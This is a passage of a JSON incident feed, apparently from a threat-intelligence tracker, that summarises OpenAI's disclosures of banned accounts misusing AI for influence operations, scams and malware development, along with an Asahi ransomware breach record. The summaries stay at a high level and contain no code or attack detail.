\"Nine-emdash Line\", using AI to create regional influence content about the South China Sea, Hong Kong, and US politics.","detail":"OpenAI banned accounts linked to a previously unreported PRC-origin operation we dubbed \"Nine-emdash Line\", using AI to create regional influence content about the South China Sea, Hong Kong, and US politics.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-nine-emdash-line"},"sources":[{"name":"OpenAI: Operation “Nine–emdash Line”: Regional influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-nine-emdash-line","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-phishing-and-scripting-support-a6acec4e396b","cveId":null,"aliases":[],"kind":"ai-incident","title":"Cyber Operation: Phishing and scripting support","summary":"OpenAI banned accounts involved in activity that overlapped with publicly reported threat groups and displayed hallmarks consistent with PRC intelligence requirements, using AI to support phishing and scripting workflows.","detail":"OpenAI banned accounts involved in activity that overlapped with publicly reported threat groups and displayed hallmarks consistent with PRC intelligence requirements, using AI to support phishing and scripting workflows.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-phishing-and-scripting-support"},"sources":[{"name":"OpenAI: Cyber Operation: Phishing and scripting support","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-phishing-and-scripting-support","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-prc-linked-abuse-561c20c9d4e7","cveId":null,"aliases":[],"kind":"ai-incident","title":"PRC-linked abuse: Surveillance and influence activity","summary":"OpenAI banned PRC-linked accounts using AI to support surveillance-related planning, targeted profiling, and research on critics and other individuals.","detail":"OpenAI banned PRC-linked accounts using AI to support surveillance-related planning, targeted profiling, and research on critics and other individuals.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-prc-linked-abuse"},"sources":[{"name":"OpenAI: PRC-linked abuse: Surveillance and influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-prc-linked-abuse","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-russian-speaking-malware-tooling-d0e249a4d21b","cveId":null,"aliases":[],"kind":"ai-incident","title":"Cyber Operation: Russian-speaking malware tooling","summary":"OpenAI banned accounts likely linked to Russian-speaking criminal groups, using AI to build malware loaders, evasion layers, credential-theft scripts, and C2 infrastructure.","detail":"OpenAI banned accounts likely linked to Russian-speaking criminal groups, using AI to build malware loaders, evasion layers, credential-theft scripts, and C2 infrastructure.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-russian-speaking-malware-tooling"},"sources":[{"name":"OpenAI: Cyber Operation: Russian-speaking malware tooling","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-russian-speaking-malware-tooling","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-scam-operations-5a67e1abb891","cveId":null,"aliases":[],"kind":"ai-incident","title":"Scam operations: Online fraud networks","summary":"OpenAI banned accounts tied to online fraud networks using AI to support scam scripts, impersonation, translation, and victim engagement.","detail":"OpenAI banned accounts tied to online fraud networks using AI to support scam scripts, impersonation, translation, and victim engagement.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-scam-operations"},"sources":[{"name":"OpenAI: Scam operations: Online fraud networks","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-scam-operations","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-stop-news-2025-9137990df72e","cveId":null,"aliases":["Stop"],"kind":"ai-incident","title":"Operation “Stop News”: Recidivist influence activity","summary":"OpenAI banned accounts linked to a Russia-origin operation we dubbed “Stop News”, using AI to generate recidivist influence content targeting Africa and the UK.","detail":"OpenAI banned accounts linked to a Russia-origin operation we dubbed “Stop News”, using AI to generate recidivist influence content targeting Africa and the UK.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-10-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-stop-news-2025"},"sources":[{"name":"OpenAI: Operation “Stop News”: Recidivist influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-stop-news-2025","type":"primary","publishedAt":"2025-10-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"asahi-japan-ransomware-2025","cveId":null,"aliases":[],"kind":"breach","title":"Asahi ransomware disruption and exposure assessment","summary":"Asahi confirms ransomware on Japan-managed systems during its September 29, 2025 disruption and theft of some company-PC data. Its July 17, 2026 notice distinguishes confirmed leakage from broader potential personal-information exposure.","detail":"Asahi says an attacker entered through network equipment, but the exact entry time could not be determined. The July 17, 2026 investigation found no evidence of personal information being transferred from data-center servers; possible exposure was still included in its notification scope. The cited notices do not name Qilin or establish an arrest.","action":"Follow Asahi's affected-party notifications and official notices. Its February 18, 2026 report describes recovery and security changes; it is not a patch advisory or a universal remediation mandate for other organizations.","publishedAt":"2025-09-29","updatedAt":"2026-07-17","regions":["Japan"],"vendor":"Asahi Group Holdings","product":"Japan-managed corporate systems","stacks":["Asahi Group Holdings","Corporate networks","Identity","Logistics","Manufacturing"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The official notices do not establish AI-assisted localization, phishing, reconnaissance, or ransomware operation.","sourceUrl":null},"sources":[{"name":"Asahi initial cyberattack notice","url":"https://www.asahigroup-holdings.com/newsroom/detail/20250929-0202.html","type":"primary","publishedAt":"2025-09-29","checkedAt":"2026-10-26","supports":"Initial disclosure, suspension of Japan order/shipment and call-center operations, and initially unconfirmed leakage."},{"name":"Asahi investigation and recurrence-prevention report","url":"https://www.asahigroup-holdings.com/en/newsroom/detail/20260218-0201.html","type":"primary","publishedAt":"2026-02-18","checkedAt":"2026-10-26","supports":"Ransomware confirmation, network-equipment entry, PC data theft, Japan system scope, and recovery measures."},{"name":"Asahi revised potential-exposure notice","url":"https://www.asahigroup-holdings.com/en/newsroom/detail/20260717-0201.html","type":"primary","publishedAt":"2026-07-17","checkedAt":"2026-10-26","supports":"Revised potential-exposure scope, absence of evidence of server-data transfer, and distinction from confirmed leakage."}],"provenance":{"origin":"editorial","retrievedAt":null,"reviewedAt":"2026-10-26"},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-helgoland-bite-7bedc9da64b3","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Helgoland Bite”: German-language influence activity","summary":"OpenAI banned accounts that appeared to originate in Russia and used AI to generate German-language political content about Ukraine, NATO, and domestic issues.","detail":"OpenAI banned accounts that appeared to originate in Russia and used AI to generate German-language political content about Ukraine, NATO, and domestic issues.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-helgoland-bite"},"sources":[{"name":"OpenAI: Operation “Helgoland Bite”: German-language influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-helgoland-bite","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-high-five-dd98a29ff064","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “High Five”: Philippines political comments","summary":"OpenAI banned accounts using AI to generate comments about Philippine politics and public officials across social platforms.","detail":"OpenAI banned accounts using AI to generate comments about Philippine politics and public officials across social platforms.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-high-five"},"sources":[{"name":"OpenAI: Operation “High Five”: Philippines political comments","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-high-five","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-scopecreep-43c257979092","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “ScopeCreep”: Russian-speaking malware development","summary":"OpenAI banned Russian-language accounts using AI to build malware, refine loaders, and troubleshoot cyber tooling.","detail":"OpenAI banned Russian-language accounts using AI to build malware, refine loaders, and troubleshoot cyber tooling.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-scopecreep"},"sources":[{"name":"OpenAI: Operation “ScopeCreep”: Russian-speaking malware development","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-scopecreep","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-sneer-review-7bc5a012b715","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Sneer Review”: China-origin influence activity","summary":"OpenAI banned accounts using AI to generate posts criticizing a Taiwanese social media influencer and related US topics.","detail":"OpenAI banned accounts using AI to generate posts criticizing a Taiwanese social media influencer and related US topics.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-sneer-review"},"sources":[{"name":"OpenAI: Operation “Sneer Review”: China-origin influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-sneer-review","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-storm-2035-2025-78d0945b500d","cveId":null,"aliases":[],"kind":"ai-incident","title":"STORM-2035: Recidivist influence activity","summary":"OpenAI banned accounts associated with the likely Iran-linked STORM-2035 operation using AI to create influence content about US, UK, Irish, and Venezuelan politics.","detail":"OpenAI banned accounts associated with the likely Iran-linked STORM-2035 operation using AI to create influence content about US, UK, Irish, and Venezuelan politics.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-storm-2035-2025"},"sources":[{"name":"OpenAI: STORM-2035: Recidivist influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-storm-2035-2025","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-uncle-spam-72abc989ea9f","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Uncle Spam”: US polarization influence activity","summary":"OpenAI banned China-origin accounts using AI to generate US political content and research people, movements, and online communities.","detail":"OpenAI banned China-origin accounts using AI to generate US political content and research people, movements, and online communities.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-uncle-spam"},"sources":[{"name":"OpenAI: Operation “Uncle Spam”: US polarization influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-uncle-spam","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-vague-focus-1ec7b442aba0","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “VAGue Focus”: Social engineering and influence activity","summary":"OpenAI banned accounts using AI for social engineering, surveillance-themed research, and influence activity targeting critics.","detail":"OpenAI banned accounts using AI for social engineering, surveillance-themed research, and influence activity targeting critics.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-vague-focus"},"sources":[{"name":"OpenAI: Operation “VAGue Focus”: Social engineering and influence activity","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-vague-focus","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-vixen-keyhole-panda-f88fc4f1fedc","cveId":null,"aliases":[],"kind":"ai-incident","title":"Vixen and Keyhole Panda: China-linked cyber operations","summary":"OpenAI banned accounts associated with threat actors publicly attributed to the PRC, using AI to support vulnerability research, scripting, translation, and operational troubleshooting.","detail":"OpenAI banned accounts associated with threat actors publicly attributed to the PRC, using AI to support vulnerability research, scripting, translation, and operational troubleshooting.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-vixen-keyhole-panda"},"sources":[{"name":"OpenAI: Vixen and Keyhole Panda: China-linked cyber operations","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-vixen-keyhole-panda","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-wrong-number-8ad59e7ce08f","cveId":null,"aliases":[],"kind":"ai-incident","title":"Operation “Wrong Number”: AI-assisted task scam","summary":"OpenAI banned accounts that likely originated in Cambodia and used AI to support scam workflows targeting people in the UK.","detail":"OpenAI banned accounts that likely originated in Cambodia and used AI to support scam workflows targeting people in the UK.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-06-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-wrong-number"},"sources":[{"name":"OpenAI: Operation “Wrong Number”: AI-assisted task scam","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-wrong-number","type":"primary","publishedAt":"2025-06-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-cyber-threat-actors-77c1ee89d049","cveId":null,"aliases":[],"kind":"ai-incident","title":"Cyber threat actors: AI-assisted intrusion research","summary":"OpenAI banned accounts potentially associated with publicly reported DPRK-affiliated threat actors using AI to research intrusion tooling, phishing, malware, and cryptocurrency targeting.","detail":"OpenAI banned accounts potentially associated with publicly reported DPRK-affiliated threat actors using AI to research intrusion tooling, phishing, malware, and cryptocurrency targeting.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-threat-actors"},"sources":[{"name":"OpenAI: Cyber threat actors: AI-assisted intrusion research","url":"https://openai.com/index/disrupting-malicious-uses-of-ai-cyber-threat-actors","type":"primary","publishedAt":"2025-02-01T00:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing an incident involving an AI system; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"openai-disrupting-malicious-uses-of-ai-ghana-election-560b5e96bf11","cveId":null,"aliases":[],"kind":"ai-incident","title":"Covert influence operation: Ghana election activity","summary":"OpenAI banned accounts using AI to generate articles, posts, and fake engagement around Ghana’s 2024 presidential election.","detail":"OpenAI banned accounts using AI to generate articles, posts, and fake engagement around Ghana’s 2024 presidential election.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.","publishedAt":"2025-02-01T00:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"offense","evidence":"confirmed","explanation":"The source describes people using AI to carry out or assist harmful activity. Disclosed by OpenAI, the organization that runs or studies the 